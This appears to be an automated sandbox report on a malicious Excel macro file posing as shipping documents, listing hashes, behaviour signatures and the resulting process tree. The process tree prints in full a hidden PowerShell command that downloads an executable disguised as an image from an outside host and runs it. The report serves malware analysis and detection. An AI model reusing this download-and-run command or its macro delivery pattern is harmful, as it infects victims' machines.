Overview

overview

10

Static

static

Shipping-D...s.xlsm

windows7_x64

10

Shipping-D...s.xlsm

windows10_x64

10

Analysis

  • max time kernel
    117s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    09/07/2020, 15:00

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General

  • Target
    Shipping-Documents.xlsm
  • Size 152KB
  • Sample200709-a8rewrmtqa
  • SHA256 ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://shopcart.indbytes.com/cig/myori.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Program crash 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Shipping-Documents.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')
        3⤵
        • Blacklisted process makes network request
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        PID:752
        • C:\Users\Admin\AppData\Local\Temp\csle.exe
          "C:\Users\Admin\AppData\Local\Temp\csle.exe"
          4⤵
          • Executes dropped EXE
          PID:3796
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 1100
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            • Program crash
            PID:2804

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1612-4-0x00000277DA92E000-0x00000277DA93C000-memory.dmp
        Download

        memory/2804-34-0x0000000005740000-0x0000000005741000-memory.dmp
        Download

        memory/2804-21-0x0000000005140000-0x0000000005141000-memory.dmp
        Download

        memory/2804-10-0x0000000004970000-0x0000000004971000-memory.dmp
        Download

        memory/2804-20-0x0000000005140000-0x0000000005141000-memory.dmp
        Download